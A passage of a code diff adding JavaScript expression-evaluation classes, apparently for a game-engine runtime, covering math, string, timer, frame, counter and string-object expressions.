+ var pString = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pString.length;
+ }
+ }
+ // CUT
+
+ function EXP_LN()
+ {
+ }
+ EXP_LN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.log(value);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_LOG()
+ {
+ }
+ EXP_LOG.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.log(value) / Math.log(10);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_LOOPINDEX()
+ {
+ }
+ EXP_LOOPINDEX.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var token = rhPtr.rh4Tokens[rhPtr.rh4CurToken];
+ var pLoop;
+
+ // Simple expression?
+ if ( rhPtr.rh4Tokens[rhPtr.rh4CurToken+1].code<=0 || rhPtr.rh4Tokens[rhPtr.rh4CurToken+1].code>=0x00140000 )
+ {
+ // Index?
+ if ( token.code == CExp.EXP_LONG )
+ {
+ pLoop = rhPtr.rh4FastLoops.get(token.value);
+ rhPtr.rh4CurToken++;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pLoop.index;
+ return;
+ }
+
+ // Name = simple string?
+ if ( token.code == CExp.EXP_STRING )
+ {
+ var curToken = rhPtr.rh4CurToken;
+ var pName = token.string; // rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+
+ var n;
+ for (n = 0; n < rhPtr.rh4FastLoops.size(); n++)
+ {
+ pLoop = rhPtr.rh4FastLoops.get(n);
+ if (CServices.compareStringsIgnoreCase(pLoop.name, pName))
+ {
+ rhPtr.rh4Tokens[curToken] = new EXP_LONG();
+ rhPtr.rh4Tokens[curToken].code = CExp.EXP_LONG;
+ rhPtr.rh4Tokens[curToken].value = n;
+
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pLoop.index;
+ return;
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ }
+
+ var pName = rhPtr.getExpression();
+
+ var n;
+ for (n = 0; n < rhPtr.rh4FastLoops.size(); n++)
+ {
+ pLoop = rhPtr.rh4FastLoops.get(n);
+ if (CServices.compareStringsIgnoreCase(pLoop.name, pName))
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pLoop.index;
+ return;
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+ // CUT
+
+ function EXP_LOWER()
+ {
+ }
+ EXP_LOWER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var pString = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pString.toLowerCase();
+
+ }
+ }
+ // CUT
+
+ function EXP_MAX()
+ {
+ }
+ EXP_MAX.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var aValue = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var bValue = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.max(aValue, bValue);
+ }
+ }
+ // CUT
+
+ function EXP_MID()
+ {
+ }
+ EXP_MID.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var string = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var start = rhPtr.get_ExpressionInt();
+ rhPtr.rh4CurToken++;
+ var len = rhPtr.get_ExpressionInt();
+
+ if (start < 0)
+ start = 0;
+ if (start > string.length)
+ start = string.length;
+ if (len < 0)
+ len = 0;
+ if (start + len > string.length)
+ len = string.length - start;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = string.substr(start, len);
+ }
+ }
+ // CUT
+
+ function EXP_MIN()
+ {
+ }
+ EXP_MIN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var aValue = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var bValue = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.min(aValue, bValue);
+ }
+ }
+ // CUT
+
+ function EXP_MINUS()
+ {
+ }
+ EXP_MINUS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ if (rhPtr.bOperande)
+ {
+ rhPtr.rh4CurToken++;
+ rhPtr.rh4Tokens[rhPtr.rh4CurToken].evaluate(rhPtr);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = -rhPtr.rh4Results[rhPtr.rh4PosPile];
+ }
+ else
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] -= rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ }
+ }
+ // CUT
+
+ function EXP_MOD()
+ {
+ }
+ EXP_MOD.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] %= rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ }
+ // CUT
+
+ function EXP_MULT()
+ {
+ }
+ EXP_MULT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] *= rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ }
+ // CUT
+
+ function EXP_NEWLINE()
+ {
+ }
+ EXP_NEWLINE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "\n";
+ }
+ }
+ // CUT
+
+ function EXP_OR()
+ {
+ }
+ EXP_OR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] |= rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ }
+ // CUT
+
+ function EXP_NOT()
+ {
+ }
+ EXP_NOT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = value ^ 0xFFFFFFFF;
+ }
+ }
+ // CUT
+
+ function EXP_PARENTH1()
+ {
+ }
+ EXP_PARENTH1.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.getExpression();
+ }
+ }
+ // CUT
+
+ function EXP_PARENTH2()
+ {
+ }
+ EXP_PARENTH2.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ }
+ }
+ // CUT
+
+ function EXP_PLUS()
+ {
+ }
+ EXP_PLUS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] += rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ }
+ // CUT
+
+ function EXP_POW()
+ {
+ }
+ EXP_POW.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.pow(rhPtr.rh4Results[rhPtr.rh4PosPile], rhPtr.rh4Results[rhPtr.rh4PosPile + 1]);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_RANDOM()
+ {
+ }
+ EXP_RANDOM.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var num = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.random(num);
+ }
+ }
+ // CUT
+
+ function EXP_REVERSEFIND()
+ {
+ }
+ EXP_REVERSEFIND.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var pMainString = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var pSubString = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var firstChar = rhPtr.get_ExpressionInt();
+
+ if (firstChar > pMainString.length)
+ {
+ firstChar = pMainString.length;
+ }
+
+ var oldPos;
+ var pos = -1;
+ while (true)
+ {
+ oldPos = pos;
+ var pFound = pMainString.indexOf(pSubString, pos + 1);
+ if (pFound == -1)
+ break;
+ pos = pFound;
+ if (pos > firstChar)
+ break;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = oldPos;
+ }
+ }
+ // CUT
+
+ function EXP_RIGHT()
+ {
+ }
+ EXP_RIGHT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var str = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var pos = rhPtr.get_ExpressionInt();
+
+ if (pos < 0)
+ pos = 0;
+ if (pos > str.length)
+ pos = str.length;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = str.substring(str.length - pos, str.length);
+ }
+ }
+ // CUT
+
+ function EXP_ROUND()
+ {
+ }
+ EXP_ROUND.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.round(value);
+ }
+ }
+ // CUT
+
+ function EXP_SIN()
+ {
+ }
+ EXP_SIN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.sin(value / 57.295779513082320876798154814105);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_SQR()
+ {
+ }
+ EXP_SQR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ if (value < 0)
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ else
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.sqrt(value);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_STR()
+ {
+ }
+ EXP_STR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var pValue = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pValue.toString();
+ }
+ }
+ // CUT
+
+ function EXP_STRINGGLO()
+ {
+ }
+ EXP_STRINGGLO.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var num = (rhPtr.get_ExpressionInt() - 1);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.getGlobalStringAt(num);
+ }
+ }
+ // CUT
+
+ function EXP_TAN()
+ {
+ }
+ EXP_TAN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.tan(value / 57.295779513082320876798154814105);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_UPPER()
+ {
+ }
+ EXP_UPPER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var pString = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pString.toUpperCase();
+ }
+ }
+ // CUT
+
+ function EXP_VAL()
+ {
+ }
+ EXP_VAL.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+
+ var s = rhPtr.getExpression();
+
+ var n = 0;
+ while(n < s.length && s.charAt(n) == 32)
+ n++;
+ var result = 0;
+ if (n < s.length)
+ {
+ s = s.substr(n);
+ if (s.substr(0, 2) == '0b' || s.substr(n, 2) == '0B')
+ result = parseInt(s.substr(n + 2), 2);
+ else
+ {
+ var result1 = parseInt(s);
+ result = parseFloat(s);
+ if (!isNaN(result) && !isNaN(result1))
+ {
+ if (result == 0 && result1 != 0)
+ result = result1;
+ var iValue = CServices.floatToInt(result);
+ if (iValue != result)
+ rhPtr.flagFloat = true;
+ }
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = result;
+ }
+ }
+ // CUT
+
+ function EXP_VARGLO()
+ {
+ }
+ EXP_VARGLO.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var num = (rhPtr.get_ExpressionInt() - 1);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.getGlobalValueAt(num);
+ }
+ }
+ // CUT
+
+ function EXP_VIRGULE()
+ {
+ }
+ EXP_VIRGULE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ }
+ }
+ // CUT
+
+ function EXP_XOR()
+ {
+ }
+ EXP_XOR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] ^= rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ }
+ // CUT
+
+ function EXP_VIRGULE()
+ {
+ }
+ EXP_VIRGULE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+ // CUT
+
+ // Timer object
+ // ------------------------------------------------------------------
+ function EXP_EVENTAFTER()
+ {
+ }
+ EXP_EVENTAFTER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhEvtProg.rhCurParam1;
+ }
+ }
+ // CUT
+
+ function EXP_TIMCENT()
+ {
+ }
+ EXP_TIMCENT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var c = CServices.floatToInt(rhPtr.rhTimer / 10);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = c % 100;
+ }
+ }
+ // CUT
+
+ function EXP_TIMHOURS()
+ {
+ }
+ EXP_TIMHOURS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var c = CServices.floatToInt(rhPtr.rhTimer / 3600000);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = c;
+ }
+ }
+ // CUT
+
+ function EXP_TIMMINITS()
+ {
+ }
+ EXP_TIMMINITS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var c = CServices.floatToInt(rhPtr.rhTimer / 60000);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = c % 60;
+ }
+ }
+ // CUT
+
+ function EXP_TIMSECONDS()
+ {
+ }
+ EXP_TIMSECONDS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var s = CServices.floatToInt(rhPtr.rhTimer / 1000);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = s % 60;
+ }
+ }
+ // CUT
+
+ function EXP_TIMVALUE()
+ {
+ }
+ EXP_TIMVALUE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhTimer;
+
+ // For benchmarks only
+ //var date = new Date();
+ //rhPtr.rh4Results[rhPtr.rh4PosPile] = date.getTime() % 100000;
+ }
+ }
+ // CUT
+
+ // Storyboard object
+ // ------------------------------------------------------------------
+ function EXP_FRAMEALPHACOEF()
+ {
+ }
+ EXP_FRAMEALPHACOEF.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 255;
+ }
+ }
+ // CUT
+
+ function EXP_FRAMERGBCOEF()
+ {
+ }
+ EXP_FRAMERGBCOEF.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0x00FFFFFF;
+ }
+ }
+ // CUT
+
+ function EXP_FRAMERATE()
+ {
+ }
+ EXP_FRAMERATE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var n;
+ var total = 0;
+ for (n = 0; n < CRun.MAX_FRAMERATE; n++)
+ total += rhPtr.rh4FrameRateArray[n];
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.round((1000 * CRun.MAX_FRAMERATE) / total);
+ }
+ };
+
+
+ // CUT
+
+ function EXP_GAMLEVEL()
+ {
+ }
+ EXP_GAMLEVEL.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.currentFrame;
+ }
+ }
+ // CUT
+
+ function EXP_GAMLEVELNEW()
+ {
+ }
+ EXP_GAMLEVELNEW.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.currentFrame + 1;
+ }
+ }
+ // CUT
+
+ function EXP_GAMNPLAYER()
+ {
+ }
+ EXP_GAMNPLAYER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhNPlayers;
+ }
+ }
+ // CUT
+
+ function EXP_GETCOLLISIONMASK()
+ {
+ }
+ EXP_GETCOLLISIONMASK.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var x, y;
+
+ rhPtr.rh4CurToken++;
+ x = rhPtr.get_ExpressionInt();
+ rhPtr.rh4CurToken++;
+ y = rhPtr.get_ExpressionInt();
+
+ var result = 0;
+ if (rhPtr.y_GetLadderAt(-1, x, y) != null)
+ result = 2;
+ else
+ {
+ if (rhPtr.colMask_Test_XY(x, y, -1, CRunFrame.CM_TEST_OBSTACLE))
+ result = 1;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = result;
+ }
+ }
+ // CUT
+
+ function EXP_GETFRAMEBKDCOLOR()
+ {
+ }
+ EXP_GETFRAMEBKDCOLOR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var color = rhPtr.rhFrame.leBackground;
+ if (rhPtr.rhApp.bPreloader)
+ color = rhPtr.rhApp.parentApp.frame.leBackground;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.swapRGB(color);
+ }
+ }
+ // CUT
+
+ function EXP_GETVIRTUALHEIGHT()
+ {
+ }
+ EXP_GETVIRTUALHEIGHT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhFrame.leVirtualRect.bottom;
+ }
+ }
+ // CUT
+
+ function EXP_GETVIRTUALWIDTH()
+ {
+ }
+ EXP_GETVIRTUALWIDTH.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhFrame.leVirtualRect.right;
+ }
+ }
+ // CUT
+
+ function EXP_PLAYHEIGHT()
+ {
+ }
+ EXP_PLAYHEIGHT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhFrame.leHeight;
+ }
+ }
+ // CUT
+
+ function EXP_PLAYWIDTH()
+ {
+ }
+ EXP_PLAYWIDTH.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhFrame.leWidth;
+ }
+ }
+ // CUT
+
+ function EXP_PLAYXLEFT()
+ {
+ }
+ EXP_PLAYXLEFT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var r = rhPtr.rhWindowX;
+ if ((rhPtr.rh3Scrolling & CRun.RH3SCROLLING_SCROLL) != 0)
+ r = rhPtr.rh3DisplayX;
+ if (r < 0)
+ r = 0;
+
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = r;
+ }
+ }
+ // CUT
+
+ function EXP_PLAYXRIGHT()
+ {
+ }
+ EXP_PLAYXRIGHT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var r = rhPtr.rhWindowX;
+ if ((rhPtr.rh3Scrolling & CRun.RH3SCROLLING_SCROLL) != 0)
+ r = rhPtr.rh3DisplayX;
+ r += rhPtr.rh3WindowSx;
+ if (r > rhPtr.rhLevelSx)
+ r = rhPtr.rhLevelSx;
+
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = r;
+ }
+ }
+ // CUT
+
+ function EXP_PLAYYBOTTOM()
+ {
+ }
+ EXP_PLAYYBOTTOM.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var r = rhPtr.rhWindowY;
+ if ((rhPtr.rh3Scrolling & CRun.RH3SCROLLING_SCROLL) != 0)
+ r = rhPtr.rh3DisplayY;
+ r += rhPtr.rh3WindowSy;
+ if (r > rhPtr.rhLevelSy)
+ r = rhPtr.rhLevelSy;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = r;
+ }
+ }
+ // CUT
+
+ function EXP_PLAYYTOP()
+ {
+ }
+ EXP_PLAYYTOP.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var r = rhPtr.rhWindowY;
+ if ((rhPtr.rh3Scrolling & CRun.RH3SCROLLING_SCROLL) != 0)
+ r = rhPtr.rh3DisplayY;
+ if (r < 0)
+ r = 0;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = r;
+ }
+ }
+ // CUT
+
+ // Create object
+ // ------------------------------------------------------------------
+ function EXP_CRENUMBERALL()
+ {
+ }
+ EXP_CRENUMBERALL.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhNObjects;
+ }
+ }
+ // CUT
+
+ // Counter object
+ // ------------------------------------------------------------------
+ function EXP_CGETCOLOR1()
+ {
+ }
+ EXP_CGETCOLOR1.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var hoPtr = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (hoPtr == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var rgb = hoPtr.cpt_GetColor1();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.swapRGB(rgb);
+ }
+ }
+ // CUT
+
+ function EXP_CGETCOLOR2()
+ {
+ }
+ EXP_CGETCOLOR2.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var hoPtr = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (hoPtr == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var rgb = hoPtr.cpt_GetColor2();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.swapRGB(rgb);
+ }
+ }
+ // CUT
+
+ function EXP_CGETMAX()
+ {
+ }
+ EXP_CGETMAX.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var hoPtr = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (hoPtr == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = hoPtr.cpt_GetMax();
+ }
+ }
+ // CUT
+
+ function EXP_CGETMIN()
+ {
+ }
+ EXP_CGETMIN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var hoPtr = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (hoPtr == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = hoPtr.cpt_GetMin();
+ }
+ }
+ // CUT
+
+ function EXP_CVALUE()
+ {
+ }
+ EXP_CVALUE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var hoPtr = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (hoPtr == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = hoPtr.cpt_GetValue();
+ if (hoPtr.bFloat)
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ // Sub application object
+ // ------------------------------------------------------------------
+ function EXP_CCAGETGLOBALSTRING()
+ {
+ }
+ EXP_CCAGETGLOBALSTRING.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ var num = rhPtr.get_ExpressionInt() - 1;
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.getGlobalString(num);
+ }
+ }
+ // CUT
+
+ function EXP_CCAGETGLOBALVALUE()
+ {
+ }
+ EXP_CCAGETGLOBALVALUE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ var num = rhPtr.get_ExpressionInt() - 1;
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.getGlobalValue(num);
+ }
+ }
+ // CUT
+
+ function EXP_CCAGETFRAMENUMBER()
+ {
+ }
+ EXP_CCAGETFRAMENUMBER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.getFrameNumber();
+ }
+ }
+ // CUT
+
+ // String object
+ // ----------------------------------------------------------------------
+ function EXP_STRGETCURRENT()
+ {
+ }
+ EXP_STRGETCURRENT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ return;
+ }
+ if (pHo.rsTextBuffer != null)
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rsTextBuffer;
+ else
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ }
+ }
+ // CUT
+
+ function EXP_STRGETNPARA()
+ {
+ }
+ EXP_STRGETNPARA.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.getCurrentResult().forceInt(0);
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rsMaxi;
+ }
+ }
+ // CUT
+
+ function EXP_STRGETNUMBER()
+ {
+ }
+ EXP_STRGETNUMBER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ return;
+ }
+ var num = rhPtr.get_ExpressionInt();
+
+ if (num < 0)
+ {
+ if (pHo.rsTextBuffer != null)
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rsTextBuffer;
+ else
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ return;
+ }
+
+ if (num >= pHo.rsMaxi)
+ num = pHo.rsMaxi - 1;
+ var txt = pHo.hoCommon.ocObject;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = txt.otTexts[num].tsText;
+ }
+ }
+ // CUT
+
+ function EXP_STRGETNUMERIC()
+ {
+ }
+ EXP_STRGETNUMERIC.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.getCurrentResult().forceInt(0);
+ return;
+ }
+ if (pHo.rsTextBuffer != null)
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = parseFloat(pHo.rsTextBuffer);
+ else
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+ // CUT
+
+ function EXP_STRNUMBER()
+ {
+ }
+ EXP_STRNUMBER.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rsMini + 1;
+ }
+ }
+ // CUT
+
+ // Common object expressions
+ // -----------------------------------------------------------------------
+
+ function EXP_EXTDISTANCE()
+ {
+ }
+ EXP_EXTDISTANCE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ var x2 = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var y2 = rhPtr.getExpression();
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var deltaX = x2 - pHo.hoX;
+ var deltaY = y2 - pHo.hoY;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.approximateInt(Math.sqrt(deltaX * deltaX + deltaY * deltaY));
+ }
+ }
+ // CUT
+
+ function EXP_EXTANGLE()
+ {
+ }
+ EXP_EXTANGLE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ var x2 = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var y2 = rhPtr.getExpression();
+ if (pHo == null)
+ {
